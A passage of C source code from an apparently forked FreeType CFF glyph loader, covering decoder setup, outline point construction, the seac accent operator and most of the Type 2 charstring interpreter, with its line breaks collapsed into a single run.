CFF_Font cff = (CFF_Font)face->extra.data; /* clear everything */ FT_MEM_ZERO( decoder, sizeof ( *decoder ) ); /* initialize builder */ cff_builder_init( &decoder->builder, face, size, slot, hinting ); /* initialize Type2 decoder */ decoder->cff = cff; decoder->num_globals = cff->global_subrs_index.count; decoder->globals = cff->global_subrs; decoder->globals_bias = cff_compute_bias( cff->top_font.font_dict.charstring_type, decoder->num_globals ); decoder->hint_mode = hint_mode; } /* this function is used to select the subfont */ /* and the locals subrs array */ FT_LOCAL_DEF( FT_Error ) cff_decoder_prepare( CFF_Decoder* decoder, CFF_Size size, FT_UInt glyph_index ) { CFF_Builder *builder = &decoder->builder; CFF_Font cff = (CFF_Font)builder->face->extra.data; CFF_SubFont sub = &cff->top_font; FT_Error error = FT_Err_Ok; /* manage CID fonts */ if ( cff->num_subfonts ) { FT_Byte fd_index = cff_fd_select_get( &cff->fd_select, glyph_index ); if ( fd_index >= cff->num_subfonts ) { FT_TRACE4(( "cff_decoder_prepare: invalid CID subfont index\n" )); error = FT_THROW( Invalid_File_Format ); goto Exit; } FT_TRACE3(( "glyph index %d (subfont %d):\n", glyph_index, fd_index )); sub = cff->subfonts[fd_index]; if ( builder->hints_funcs && size ) { CFF_Internal internal = (CFF_Internal)size->root.internal; /* for CFFs without subfonts, this value has already been set */ builder->hints_globals = (void *)internal->subfonts[fd_index]; } } #ifdef FT_DEBUG_LEVEL_TRACE else FT_TRACE3(( "glyph index %d:\n", glyph_index )); #endif decoder->num_locals = sub->local_subrs_index.count; decoder->locals = sub->local_subrs; decoder->locals_bias = cff_compute_bias( decoder->cff->top_font.font_dict.charstring_type, decoder->num_locals ); decoder->glyph_width = sub->private_dict.default_width; decoder->nominal_width = sub->private_dict.nominal_width; decoder->current_subfont = sub; /* for Adobe's CFF handler */ Exit: return error; } /* check that there is enough space for `count' more points */ FT_LOCAL_DEF( FT_Error ) cff_check_points( CFF_Builder* builder, FT_Int count ) { return FT_GLYPHLOADER_CHECK_POINTS( builder->loader, count, 0 ); } /* add a new point, do not check space */ FT_LOCAL_DEF( void ) cff_builder_add_point( CFF_Builder* builder, FT_Pos x, FT_Pos y, FT_Byte flag ) { FT_Outline* outline = builder->current; if ( builder->load_points ) { FT_Vector* point = outline->points + outline->n_points; FT_Byte* control = (FT_Byte*)outline->tags + outline->n_points; #ifdef CFF_CONFIG_OPTION_OLD_ENGINE CFF_Driver driver = (CFF_Driver)FT_FACE_DRIVER( builder->face ); if ( driver->hinting_engine == FT_CFF_HINTING_FREETYPE ) { point->x = x >> 16; point->y = y >> 16; } else #endif { /* cf2_decoder_parse_charstrings uses 16.16 coordinates */ point->x = x >> 10; point->y = y >> 10; } *control = (FT_Byte)( flag ? FT_CURVE_TAG_ON : FT_CURVE_TAG_CUBIC ); } outline->n_points++; } /* check space for a new on-curve point, then add it */ FT_LOCAL_DEF( FT_Error ) cff_builder_add_point1( CFF_Builder* builder, FT_Pos x, FT_Pos y ) { FT_Error error; error = cff_check_points( builder, 1 ); if ( !error ) cff_builder_add_point( builder, x, y, 1 ); return error; } /* check space for a new contour, then add it */ static FT_Error cff_builder_add_contour( CFF_Builder* builder ) { FT_Outline* outline = builder->current; FT_Error error; if ( !builder->load_points ) { outline->n_contours++; return FT_Err_Ok; } error = FT_GLYPHLOADER_CHECK_POINTS( builder->loader, 0, 1 ); if ( !error ) { if ( outline->n_contours > 0 ) outline->contours[outline->n_contours - 1] = (short)( outline->n_points - 1 ); outline->n_contours++; } return error; } /* if a path was begun, add its first on-curve point */ FT_LOCAL_DEF( FT_Error ) cff_builder_start_point( CFF_Builder* builder, FT_Pos x, FT_Pos y ) { FT_Error error = FT_Err_Ok; /* test whether we are building a new contour */ if ( !builder->path_begun ) { builder->path_begun = 1; error = cff_builder_add_contour( builder ); if ( !error ) error = cff_builder_add_point1( builder, x, y ); } return error; } /* close the current contour */ FT_LOCAL_DEF( void ) cff_builder_close_contour( CFF_Builder* builder ) { FT_Outline* outline = builder->current; FT_Int first; if ( !outline ) return; first = outline->n_contours <= 1 ? 0 : outline->contours[outline->n_contours - 2] + 1; /* We must not include the last point in the path if it */ /* is located on the first point. */ if ( outline->n_points > 1 ) { FT_Vector* p1 = outline->points + first; FT_Vector* p2 = outline->points + outline->n_points - 1; FT_Byte* control = (FT_Byte*)outline->tags + outline->n_points - 1; /* `delete' last point only if it coincides with the first */ /* point and if it is not a control point (which can happen). */ if ( p1->x == p2->x && p1->y == p2->y ) if ( *control == FT_CURVE_TAG_ON ) outline->n_points--; } if ( outline->n_contours > 0 ) { /* Don't add contours only consisting of one point, i.e., */ /* check whether begin point and last point are the same. */ if ( first == outline->n_points - 1 ) { outline->n_contours--; outline->n_points--; } else outline->contours[outline->n_contours - 1] = (short)( outline->n_points - 1 ); } } FT_LOCAL_DEF( FT_Int ) cff_lookup_glyph_by_stdcharcode( CFF_Font cff, FT_Int charcode ) { FT_UInt n; FT_UShort glyph_sid; /* CID-keyed fonts don't have glyph names */ if ( !cff->charset.sids ) return -1; /* check range of standard char code */ if ( charcode < 0 || charcode > 255 ) return -1; /* Get code to SID mapping from `cff_standard_encoding'. */ glyph_sid = cff_get_standard_encoding( (FT_UInt)charcode ); for ( n = 0; n < cff->num_glyphs; n++ ) { if ( cff->charset.sids[n] == glyph_sid ) return n; } return -1; } FT_LOCAL_DEF( FT_Error ) cff_get_glyph_data( TT_Face face, FT_UInt glyph_index, FT_Byte** pointer, FT_ULong* length ) { #ifdef FT_CONFIG_OPTION_INCREMENTAL /* For incremental fonts get the character data using the */ /* callback function. */ if ( face->root.internal->incremental_interface ) { FT_Data data; FT_Error error = face->root.internal->incremental_interface->funcs->get_glyph_data( face->root.internal->incremental_interface->object, glyph_index, &data ); *pointer = (FT_Byte*)data.pointer; *length = data.length; return error; } else #endif /* FT_CONFIG_OPTION_INCREMENTAL */ { CFF_Font cff = (CFF_Font)(face->extra.data); return cff_index_access_element( &cff->charstrings_index, glyph_index, pointer, length ); } } FT_LOCAL_DEF( void ) cff_free_glyph_data( TT_Face face, FT_Byte** pointer, FT_ULong length ) { #ifndef FT_CONFIG_OPTION_INCREMENTAL FT_UNUSED( length ); #endif #ifdef FT_CONFIG_OPTION_INCREMENTAL /* For incremental fonts get the character data using the */ /* callback function. */ if ( face->root.internal->incremental_interface ) { FT_Data data; data.pointer = *pointer; data.length = length; face->root.internal->incremental_interface->funcs->free_glyph_data( face->root.internal->incremental_interface->object, &data ); } else #endif /* FT_CONFIG_OPTION_INCREMENTAL */ { CFF_Font cff = (CFF_Font)(face->extra.data); cff_index_forget_element( &cff->charstrings_index, pointer ); } } #ifdef CFF_CONFIG_OPTION_OLD_ENGINE static FT_Error cff_operator_seac( CFF_Decoder* decoder, FT_Pos asb, FT_Pos adx, FT_Pos ady, FT_Int bchar, FT_Int achar ) { FT_Error error; CFF_Builder* builder = &decoder->builder; FT_Int bchar_index, achar_index; TT_Face face = decoder->builder.face; FT_Vector left_bearing, advance; FT_Byte* charstring; FT_ULong charstring_len; FT_Pos glyph_width; if ( decoder->seac ) { FT_ERROR(( "cff_operator_seac: invalid nested seac\n" )); return FT_THROW( Syntax_Error ); } adx += decoder->builder.left_bearing.x; ady += decoder->builder.left_bearing.y; #ifdef FT_CONFIG_OPTION_INCREMENTAL /* Incremental fonts don't necessarily have valid charsets. */ /* They use the character code, not the glyph index, in this case. */ if ( face->root.internal->incremental_interface ) { bchar_index = bchar; achar_index = achar; } else #endif /* FT_CONFIG_OPTION_INCREMENTAL */ { CFF_Font cff = (CFF_Font)(face->extra.data); bchar_index = cff_lookup_glyph_by_stdcharcode( cff, bchar ); achar_index = cff_lookup_glyph_by_stdcharcode( cff, achar ); } if ( bchar_index < 0 || achar_index < 0 ) { FT_ERROR(( "cff_operator_seac:" " invalid seac character code arguments\n" )); return FT_THROW( Syntax_Error ); } /* If we are trying to load a composite glyph, do not load the */ /* accent character and return the array of subglyphs. */ if ( builder->no_recurse ) { FT_GlyphSlot glyph = (FT_GlyphSlot)builder->glyph; FT_GlyphLoader loader = glyph->internal->loader; FT_SubGlyph subg; /* reallocate subglyph array if necessary */ error = FT_GlyphLoader_CheckSubGlyphs( loader, 2 ); if ( error ) goto Exit; subg = loader->current.subglyphs; /* subglyph 0 = base character */ subg->index = bchar_index; subg->flags = FT_SUBGLYPH_FLAG_ARGS_ARE_XY_VALUES | FT_SUBGLYPH_FLAG_USE_MY_METRICS; subg->arg1 = 0; subg->arg2 = 0; subg++; /* subglyph 1 = accent character */ subg->index = achar_index; subg->flags = FT_SUBGLYPH_FLAG_ARGS_ARE_XY_VALUES; subg->arg1 = (FT_Int)( adx >> 16 ); subg->arg2 = (FT_Int)( ady >> 16 ); /* set up remaining glyph fields */ glyph->num_subglyphs = 2; glyph->subglyphs = loader->base.subglyphs; glyph->format = FT_GLYPH_FORMAT_COMPOSITE; loader->current.num_subglyphs = 2; } FT_GlyphLoader_Prepare( builder->loader ); /* First load `bchar' in builder */ error = cff_get_glyph_data( face, bchar_index, &charstring, &charstring_len ); if ( !error ) { /* the seac operator must not be nested */ decoder->seac = TRUE; error = cff_decoder_parse_charstrings( decoder, charstring, charstring_len ); decoder->seac = FALSE; cff_free_glyph_data( face, &charstring, charstring_len ); if ( error ) goto Exit; } /* Save the left bearing, advance and glyph width of the base */ /* character as they will be erased by the next load. */ left_bearing = builder->left_bearing; advance = builder->advance; glyph_width = decoder->glyph_width; builder->left_bearing.x = 0; builder->left_bearing.y = 0; builder->pos_x = adx - asb; builder->pos_y = ady; /* Now load `achar' on top of the base outline. */ error = cff_get_glyph_data( face, achar_index, &charstring, &charstring_len ); if ( !error ) { /* the seac operator must not be nested */ decoder->seac = TRUE; error = cff_decoder_parse_charstrings( decoder, charstring, charstring_len ); decoder->seac = FALSE; cff_free_glyph_data( face, &charstring, charstring_len ); if ( error ) goto Exit; } /* Restore the left side bearing, advance and glyph width */ /* of the base character. */ builder->left_bearing = left_bearing; builder->advance = advance; decoder->glyph_width = glyph_width; builder->pos_x = 0; builder->pos_y = 0; Exit: return error; } /*************************************************************************/ /* */ /* <Function> */ /* cff_decoder_parse_charstrings */ /* */ /* <Description> */ /* Parses a given Type 2 charstrings program. */ /* */ /* <InOut> */ /* decoder :: The current Type 1 decoder. */ /* */ /* <Input> */ /* charstring_base :: The base of the charstring stream. */ /* */ /* charstring_len :: The length in bytes of the charstring stream. */ /* */ /* <Return> */ /* FreeType error code. 0 means success. */ /* */ FT_LOCAL_DEF( FT_Error ) cff_decoder_parse_charstrings( CFF_Decoder* decoder, FT_Byte* charstring_base, FT_ULong charstring_len ) { FT_Error error; CFF_Decoder_Zone* zone; FT_Byte* ip; FT_Byte* limit; CFF_Builder* builder = &decoder->builder; FT_Pos x, y; FT_Fixed seed; FT_Fixed* stack; FT_Int charstring_type = decoder->cff->top_font.font_dict.charstring_type; T2_Hints_Funcs hinter; /* set default width */ decoder->num_hints = 0; decoder->read_width = 1; /* compute random seed from stack address of parameter */ seed = (FT_Fixed)( ( (FT_PtrDist)(char*)&seed ^ (FT_PtrDist)(char*)&decoder ^ (FT_PtrDist)(char*)&charstring_base ) & FT_ULONG_MAX ) ; seed = ( seed ^ ( seed >> 10 ) ^ ( seed >> 20 ) ) & 0xFFFFL; if ( seed == 0 ) seed = 0x7384; /* initialize the decoder */ decoder->top = decoder->stack; decoder->zone = decoder->zones; zone = decoder->zones; stack = decoder->top; hinter = (T2_Hints_Funcs)builder->hints_funcs; builder->path_begun = 0; zone->base = charstring_base; limit = zone->limit = charstring_base + charstring_len; ip = zone->cursor = zone->base; error = FT_Err_Ok; x = builder->pos_x; y = builder->pos_y; /* begin hints recording session, if any */ if ( hinter ) hinter->open( hinter->hints ); /* now execute loop */ while ( ip < limit ) { CFF_Operator op; FT_Byte v; /********************************************************************/ /* */ /* Decode operator or operand */ /* */ v = *ip++; if ( v >= 32 || v == 28 ) { FT_Int shift = 16; FT_Int32 val; /* this is an operand, push it on the stack */ /* if we use shifts, all computations are done with unsigned */ /* values; the conversion to a signed value is the last step */ if ( v == 28 ) { if ( ip + 1 >= limit ) goto Syntax_Error; val = (FT_Short)( ( (FT_UShort)ip[0] << 8 ) | ip[1] ); ip += 2; } else if ( v < 247 ) val = (FT_Int32)v - 139; else if ( v < 251 ) { if ( ip >= limit ) goto Syntax_Error; val = ( (FT_Int32)v - 247 ) * 256 + *ip++ + 108; } else if ( v < 255 ) { if ( ip >= limit ) goto Syntax_Error; val = -( (FT_Int32)v - 251 ) * 256 - *ip++ - 108; } else { if ( ip + 3 >= limit ) goto Syntax_Error; val = (FT_Int32)( ( (FT_UInt32)ip[0] << 24 ) | ( (FT_UInt32)ip[1] << 16 ) | ( (FT_UInt32)ip[2] << 8 ) | (FT_UInt32)ip[3] ); ip += 4; if ( charstring_type == 2 ) shift = 0; } if ( decoder->top - stack >= CFF_MAX_OPERANDS ) goto Stack_Overflow; val = (FT_Int32)( (FT_UInt32)val << shift ); *decoder->top++ = val; #ifdef FT_DEBUG_LEVEL_TRACE if ( !( val & 0xFFFFL ) ) FT_TRACE4(( " %hd", (FT_Short)( (FT_UInt32)val >> 16 ) )); else FT_TRACE4(( " %.2f", val / 65536.0 )); #endif } else { /* The specification says that normally arguments are to be taken */ /* from the bottom of the stack. However, this seems not to be */ /* correct, at least for Acroread 7.0.8 on GNU/Linux: It pops the */ /* arguments similar to a PS interpreter. */ FT_Fixed* args = decoder->top; FT_Int num_args = (FT_Int)( args - decoder->stack ); FT_Int req_args; /* find operator */ op = cff_op_unknown; switch ( v ) { case 1: op = cff_op_hstem; break; case 3: op = cff_op_vstem; break; case 4: op = cff_op_vmoveto; break; case 5: op = cff_op_rlineto; break; case 6: op = cff_op_hlineto; break; case 7: op = cff_op_vlineto; break; case 8: op = cff_op_rrcurveto; break; case 9: op = cff_op_closepath; break; case 10: op = cff_op_callsubr; break; case 11: op = cff_op_return; break; case 12: { if ( ip >= limit ) goto Syntax_Error; v = *ip++; switch ( v ) { case 0: op = cff_op_dotsection; break; case 1: /* this is actually the Type1 vstem3 operator */ op = cff_op_vstem; break; case 2: /* this is actually the Type1 hstem3 operator */ op = cff_op_hstem; break; case 3: op = cff_op_and; break; case 4: op = cff_op_or; break; case 5: op = cff_op_not; break; case 6: op = cff_op_seac; break; case 7: op = cff_op_sbw; break; case 8: op = cff_op_store; break; case 9: op = cff_op_abs; break; case 10: op = cff_op_add; break; case 11: op = cff_op_sub; break; case 12: op = cff_op_div; break; case 13: op = cff_op_load; break; case 14: op = cff_op_neg; break; case 15: op = cff_op_eq; break; case 16: op = cff_op_callothersubr; break; case 17: op = cff_op_pop; break; case 18: op = cff_op_drop; break; case 20: op = cff_op_put; break; case 21: op = cff_op_get; break; case 22: op = cff_op_ifelse; break; case 23: op = cff_op_random; break; case 24: op = cff_op_mul; break; case 26: op = cff_op_sqrt; break; case 27: op = cff_op_dup; break; case 28: op = cff_op_exch; break; case 29: op = cff_op_index; break; case 30: op = cff_op_roll; break; case 33: op = cff_op_setcurrentpoint; break; case 34: op = cff_op_hflex; break; case 35: op = cff_op_flex; break; case 36: op = cff_op_hflex1; break; case 37: op = cff_op_flex1; break; /*default: */ /* XYQ 2007-9-6: we can't just quit if we see some reserved op */ /* decrement ip for syntax error message */ /* ip--;*/ } } break; case 13: op = cff_op_hsbw; break; case 14: op = cff_op_endchar; break; case 16: op = cff_op_blend; break; case 18: op = cff_op_hstemhm; break; case 19: op = cff_op_hintmask; break; case 20: op = cff_op_cntrmask; break; case 21: op = cff_op_rmoveto; break; case 22: op = cff_op_hmoveto; break; case 23: op = cff_op_vstemhm; break; case 24: op = cff_op_rcurveline; break; case 25: op = cff_op_rlinecurve; break; case 26: op = cff_op_vvcurveto; break; case 27: op = cff_op_hhcurveto; break; case 29: op = cff_op_callgsubr; break; case 30: op = cff_op_vhcurveto; break; case 31: op = cff_op_hvcurveto; break; default: FT_TRACE4(( " unknown op (%d)\n", v )); break; } if ( op == cff_op_unknown ) continue; /* check arguments */ req_args = cff_argument_counts[op]; if ( req_args & CFF_COUNT_CHECK_WIDTH ) { if ( num_args > 0 && decoder->read_width ) { /* If `nominal_width' is non-zero, the number is really a */ /* difference against `nominal_width'. Else, the number here */ /* is truly a width, not a difference against `nominal_width'. */ /* If the font does not set `nominal_width', then */ /* `nominal_width' defaults to zero, and so we can set */ /* `glyph_width' to `nominal_width' plus number on the stack */ /* -- for either case. */ FT_Int set_width_ok; switch ( op ) { case cff_op_hmoveto: case cff_op_vmoveto: set_width_ok = num_args & 2; break; case cff_op_hstem: case cff_op_vstem: case cff_op_hstemhm: case cff_op_vstemhm: case cff_op_rmoveto: case cff_op_hintmask: case cff_op_cntrmask: set_width_ok = num_args & 1; break; case cff_op_endchar: /* If there is a width specified for endchar, we either have */ /* 1 argument or 5 arguments. We like to argue. */ set_width_ok = ( num_args == 5 ) || ( num_args == 1 ); break; default: set_width_ok = 0; break; } if ( set_width_ok ) { decoder->glyph_width = decoder->nominal_width + ( stack[0] >> 16 ); if ( decoder->width_only ) { /* we only want the advance width; stop here */ break; } /* Consumed an argument. */ num_args--; } } decoder->read_width = 0; req_args = 0; } req_args &= 0x000F; if ( num_args < req_args ) goto Stack_Underflow; args -= req_args; num_args -= req_args; /* Sunliang.Liu sync 221's revison. */ if (args > decoder->stack + CFF_MAX_OPERANDS) goto Stack_Overflow; /* At this point, `args' points to the first argument of the */ /* operand in case `req_args' isn't zero. Otherwise, we have */ /* to adjust `args' manually. */ /* Note that we only pop arguments from the stack which we */ /* really need and can digest so that we can continue in case */ /* of superfluous stack elements. */ switch ( op ) { case cff_op_hstem: case cff_op_vstem: case cff_op_hstemhm: case cff_op_vstemhm: /* the number of arguments is always even here */ FT_TRACE4(( op == cff_op_hstem ? " hstem\n" : ( op == cff_op_vstem ? " vstem\n" : ( op == cff_op_hstemhm ? " hstemhm\n" : " vstemhm\n" ) ) )); if ( hinter ) hinter->stems( hinter->hints, ( op == cff_op_hstem || op == cff_op_hstemhm ), num_args / 2, args - ( num_args & ~1 ) ); decoder->num_hints += num_args / 2; args = stack; break; case cff_op_hintmask: case cff_op_cntrmask: FT_TRACE4(( op == cff_op_hintmask ? " hintmask" : " cntrmask" )); /* implement vstem when needed -- */ /* the specification doesn't say it, but this also works */ /* with the 'cntrmask' operator */ /* */ if ( num_args > 0 ) { if ( hinter ) hinter->stems( hinter->hints, 0, num_args / 2, args - ( num_args & ~1 ) ); decoder->num_hints += num_args / 2; } /* In a valid charstring there must be at least one byte */ /* after `hintmask' or `cntrmask' (e.g., for a `return' */ /* instruction). Additionally, there must be space for */ /* `num_hints' bits. */ if ( ( ip + ( ( decoder->num_hints + 7 ) >> 3 ) ) >= limit ) goto Syntax_Error; if ( hinter ) { if ( op == cff_op_hintmask ) hinter->hintmask( hinter->hints, builder->current->n_points, decoder->num_hints, ip ); else hinter->counter( hinter->hints, decoder->num_hints, ip ); } #ifdef FT_DEBUG_LEVEL_TRACE { FT_UInt maskbyte; FT_TRACE4(( " (maskbytes:" )); for ( maskbyte = 0; maskbyte < (FT_UInt)( ( decoder->num_hints + 7 ) >> 3 ); maskbyte++, ip++ ) FT_TRACE4(( " 0x%02X", *ip )); FT_TRACE4(( ")\n" )); } #else ip += ( decoder->num_hints + 7 ) >> 3; #endif args = stack; break; case cff_op_rmoveto: FT_TRACE4(( " rmoveto\n" )); cff_builder_close_contour( builder ); builder->path_begun = 0; x += args[-2]; y += args[-1]; args = stack; break; case cff_op_vmoveto: FT_TRACE4(( " vmoveto\n" )); cff_builder_close_contour( builder ); builder->path_begun = 0; y += args[-1]; args = stack; break; case cff_op_hmoveto: FT_TRACE4(( " hmoveto\n" )); cff_builder_close_contour( builder ); builder->path_begun = 0; x += args[-1]; args = stack; break; case cff_op_rlineto: FT_TRACE4(( " rlineto\n" )); if ( cff_builder_start_point( builder, x, y ) || cff_check_points( builder, num_args / 2 ) ) goto Fail; if ( num_args < 2 ) goto Stack_Underflow; args -= num_args & ~1; while ( args < decoder->top ) { x += args[0]; y += args[1]; cff_builder_add_point( builder, x, y, 1 ); args += 2; } args = stack; break; case cff_op_hlineto: case cff_op_vlineto: { FT_Int phase = ( op == cff_op_hlineto ); FT_TRACE4(( op == cff_op_hlineto ? " hlineto\n" : " vlineto\n" )); if ( num_args < 0 ) goto Stack_Underflow; /* there exist subsetted fonts (found in PDFs) */ /* which call `hlineto' without arguments */ if ( num_args == 0 ) break; if ( cff_builder_start_point( builder, x, y ) || cff_check_points( builder, num_args ) ) goto Fail; args = stack; while ( args < decoder->top ) { if ( phase ) x += args[0]; else y += args[0]; if ( cff_builder_add_point1( builder, x, y ) ) goto Fail; args++; phase ^= 1; } args = stack; } break; case cff_op_rrcurveto: { FT_Int nargs; FT_TRACE4(( " rrcurveto\n" )); if ( num_args < 6 ) goto Stack_Underflow; nargs = num_args - num_args % 6; if ( cff_builder_start_point( builder, x, y ) || cff_check_points( builder, nargs / 2 ) ) goto Fail; args -= nargs; while ( args < decoder->top ) { x += args[0]; y += args[1]; cff_builder_add_point( builder, x, y, 0 ); x += args[2]; y += args[3]; cff_builder_add_point( builder, x, y, 0 ); x += args[4]; y += args[5]; cff_builder_add_point( builder, x, y, 1 ); args += 6; } args = stack; } break; case cff_op_vvcurveto: { FT_Int nargs; FT_TRACE4(( " vvcurveto\n" )); if ( num_args < 4 ) goto Stack_Underflow; /* if num_args isn't of the form 4n or 4n+1, */ /* we enforce it by clearing the second bit */ nargs = num_args & ~2; if ( cff_builder_start_point( builder, x, y ) ) goto Fail; args -= nargs; if ( nargs & 1 ) { x += args[0]; args++; nargs--; } if ( cff_check_points( builder, 3 * ( nargs / 4 ) ) ) goto Fail; while ( args < decoder->top ) { y += args[0]; cff_builder_add_point( builder, x, y, 0 ); x += args[1]; y += args[2]; cff_builder_add_point( builder, x, y, 0 ); y += args[3]; cff_builder_add_point( builder, x, y, 1 ); args += 4; } args = stack; } break; case cff_op_hhcurveto: { FT_Int nargs; FT_TRACE4(( " hhcurveto\n" )); if ( num_args < 4 ) goto Stack_Underflow; /* if num_args isn't of the form 4n or 4n+1, */ /* we enforce it by clearing the second bit */ nargs = num_args & ~2; if ( cff_builder_start_point( builder, x, y ) ) goto Fail; args -= nargs; if ( nargs & 1 ) { y += args[0]; args++; nargs--; } if ( cff_check_points( builder, 3 * ( nargs / 4 ) ) ) goto Fail; while ( args < decoder->top ) { x += args[0]; cff_builder_add_point( builder, x, y, 0 ); x += args[1]; y += args[2]; cff_builder_add_point( builder, x, y, 0 ); x += args[3]; cff_builder_add_point( builder, x, y, 1 ); args += 4; } args = stack; } break; case cff_op_vhcurveto: case cff_op_hvcurveto: { FT_Int phase; FT_Int nargs; FT_TRACE4(( op == cff_op_vhcurveto ? " vhcurveto\n" : " hvcurveto\n" )); if ( cff_builder_start_point( builder, x, y ) ) goto Fail; if ( num_args < 4 ) goto Stack_Underflow; /* if num_args isn't of the form 8n, 8n+1, 8n+4, or 8n+5, */ /* we enforce it by clearing the second bit */ nargs = num_args & ~2; args -= nargs; if ( cff_check_points( builder, ( nargs / 4 ) * 3 ) ) goto Stack_Underflow; phase = ( op == cff_op_hvcurveto ); while ( nargs >= 4 ) { nargs -= 4; if ( phase ) { x += args[0]; cff_builder_add_point( builder, x, y, 0 ); x += args[1]; y += args[2]; cff_builder_add_point( builder, x, y, 0 ); y += args[3]; if ( nargs == 1 ) x += args[4]; cff_builder_add_point( builder, x, y, 1 ); } else { y += args[0]; cff_builder_add_point( builder, x, y, 0 ); x += args[1]; y += args[2]; cff_builder_add_point( builder, x, y, 0 ); x += args[3]; if ( nargs == 1 ) y += args[4]; cff_builder_add_point( builder, x, y, 1 ); } args += 4; phase ^= 1; } args = stack; } break; case cff_op_rlinecurve: { FT_Int num_lines; FT_Int nargs; FT_TRACE4(( " rlinecurve\n" )); if ( num_args < 8 ) goto Stack_Underflow; nargs = num_args & ~1; num_lines = ( nargs - 6 ) / 2; if ( cff_builder_start_point( builder, x, y ) || cff_check_points( builder, num_lines + 3 ) ) goto Fail; args -= nargs; /* first, add the line segments */ while ( num_lines > 0 ) { x += args[0]; y += args[1]; cff_builder_add_point( builder, x, y, 1 ); args += 2; num_lines--; } /* then the curve */ x += args[0]; y += args[1]; cff_builder_add_point( builder, x, y, 0 ); x += args[2]; y += args[3]; cff_builder_add_point( builder, x, y, 0 ); x += args[4]; y += args[5]; cff_builder_add_point( builder, x, y, 1 ); args = stack; } break; case cff_op_rcurveline: { FT_Int num_curves; FT_Int nargs; FT_TRACE4(( " rcurveline\n" )); if ( num_args < 8 ) goto Stack_Underflow; nargs = num_args - 2; nargs = nargs - nargs % 6 + 2; num_curves = ( nargs - 2 ) / 6; if ( cff_builder_start_point( builder, x, y ) || cff_check_points( builder, num_curves * 3 + 2 ) ) goto Fail; args -= nargs; /* first, add the curves */ while ( num_curves > 0 ) { x += args[0]; y += args[1]; cff_builder_add_point( builder, x, y, 0 ); x += args[2]; y += args[3]; cff_builder_add_point( builder, x, y, 0 ); x += args[4]; y += args[5]; cff_builder_add_point( builder, x, y, 1 ); args += 6; num_curves--; } /* then the final line */ x += args[0]; y += args[1]; cff_builder_add_point( builder, x, y, 1 ); args = stack; } break; case cff_op_hflex1: { FT_Pos start_y; FT_TRACE4(( " hflex1\n" )); /* adding five more points: 4 control points, 1 on-curve point */ /* -- make sure we have enough space for the start point if it */ /* needs to be added */ if ( cff_builder_start_point( builder, x, y ) || cff_check_points( builder, 6 ) ) goto Fail; /* record the starting point's y position for later use */ start_y = y; /* first control point */ x += args[0]; y += args[1]; cff_builder_add_point( builder, x, y, 0 ); /* second control point */ x += args[2]; y += args[3]; cff_builder_add_point( builder, x, y, 0 ); /* join point; on curve, with y-value the same as the last */ /* control point's y-value */ x += args[4]; cff_builder_add_point( builder, x, y, 1 ); /* third control point, with y-value the same as the join */ /* point's y-value */ x += args[5]; cff_builder_add_point( builder, x, y, 0 ); /* fourth control point */ x += args[6]; y += args[7]; cff_builder_add_point( builder, x, y, 0 ); /* ending point, with y-value the same as the start */ x += args[8]; y = start_y; cff_builder_add_point( builder, x, y, 1 ); args = stack; break; } case cff_op_hflex: { FT_Pos start_y; FT_TRACE4(( " hflex\n" )); /* adding six more points; 4 control points, 2 on-curve points */ if ( cff_builder_start_point( builder, x, y ) || cff_check_points( builder, 6 ) ) goto Fail; /* record the starting point's y-position for later use */ start_y = y; /* first control point */ x += args[0]; cff_builder_add_point( builder, x, y, 0 ); /* second control point */ x += args[1]; y += args[2]; cff_builder_add_point( builder, x, y, 0 ); /* join point; on curve, with y-value the same as the last */ /* control point's y-value */ x += args[3]; cff_builder_add_point( builder, x, y, 1 ); /* third control point, with y-value the same as the join */ /* point's y-value */ x += args[4]; cff_builder_add_point( builder, x, y, 0 ); /* fourth control point */ x += args[5]; y = start_y; cff_builder_add_point( builder, x, y, 0 ); /* ending point, with y-value the same as the start point's */ /* y-value -- we don't add this point, though */ x += args[6]; cff_builder_add_point( builder, x, y, 1 ); args = stack; break; } case cff_op_flex1: { FT_Pos start_x, start_y; /* record start x, y values for */ /* alter use */ FT_Fixed dx = 0, dy = 0; /* used in horizontal/vertical */ /* algorithm below */ FT_Int horizontal, count; FT_Fixed* temp; FT_TRACE4(( " flex1\n" )); /* adding six more points; 4 control points, 2 on-curve points */ if ( cff_builder_start_point( builder, x, y ) || cff_check_points( builder, 6 ) ) goto Fail; /* record the starting point's x, y position for later use */ start_x = x; start_y = y; /* XXX: figure out whether this is supposed to be a horizontal */ /* or vertical flex; the Type 2 specification is vague... */ temp = args; /* grab up to the last argument */ for ( count = 5; count > 0; count-- ) { dx += temp[0]; dy += temp[1]; temp += 2; } if ( dx < 0 ) dx = -dx; if ( dy < 0 ) dy = -dy; /* strange test, but here it is... */ horizontal = ( dx > dy ); for ( count = 5; count > 0; count-- ) { x += args[0]; y += args[1]; cff_builder_add_point( builder, x, y, (FT_Bool)( count == 3 ) ); args += 2; } /* is last operand an x- or y-delta? */ if ( horizontal ) { x += args[0]; y = start_y; } else { x = start_x; y += args[0]; } cff_builder_add_point( builder, x, y, 1 ); args = stack; break; } case cff_op_flex: { FT_UInt count; FT_TRACE4(( " flex\n" )); if ( cff_builder_start_point( builder, x, y ) || cff_check_points( builder, 6 ) ) goto Fail; for ( count = 6; count > 0; count-- ) { x += args[0]; y += args[1]; cff_builder_add_point( builder, x, y, (FT_Bool)( count == 4 || count == 1 ) ); args += 2; } args = stack; } break; case cff_op_seac: FT_TRACE4(( " seac\n" )); error = cff_operator_seac( decoder, args[0], args[1], args[2], (FT_Int)( args[3] >> 16 ), (FT_Int)( args[4] >> 16 ) ); /* add current outline to the glyph slot */ FT_GlyphLoader_Add( builder->loader ); /* return now! */ FT_TRACE4(( "\n" )); return error; case cff_op_endchar: FT_TRACE4(( " endchar\n" )); /* We are going to emulate the seac operator. */ if ( num_args >= 4 ) { /* Save glyph width so that the subglyphs don't overwrite it. */ FT_Pos glyph_width = decoder->glyph_width; error = cff_operator_seac( decoder, 0L, args[-4], args[-3], (FT_Int)( args[-2] >> 16 ), (FT_Int)( args[-1] >> 16 ) ); decoder->glyph_width = glyph_width; } else { if ( !error ) error = FT_Err_Ok; cff_builder_close_contour( builder ); /* close hints recording session */ if ( hinter ) { if ( hinter->close( hinter->hints, builder->current->n_points ) ) goto Syntax_Error; /* apply hints to the loaded glyph outline now */ hinter->apply( hinter->hints, builder->current, (PSH_Globals)builder->hints_globals, decoder->hint_mode ); } /* add current outline to the glyph slot */ FT_GlyphLoader_Add( builder->loader ); } /* return now! */ FT_TRACE4(( "\n" )); return error; case cff_op_abs: FT_TRACE4(( " abs\n" )); if ( args[0] < 0 ) args[0] = -args[0]; args++; break; case cff_op_add: FT_TRACE4(( " add\n" )); 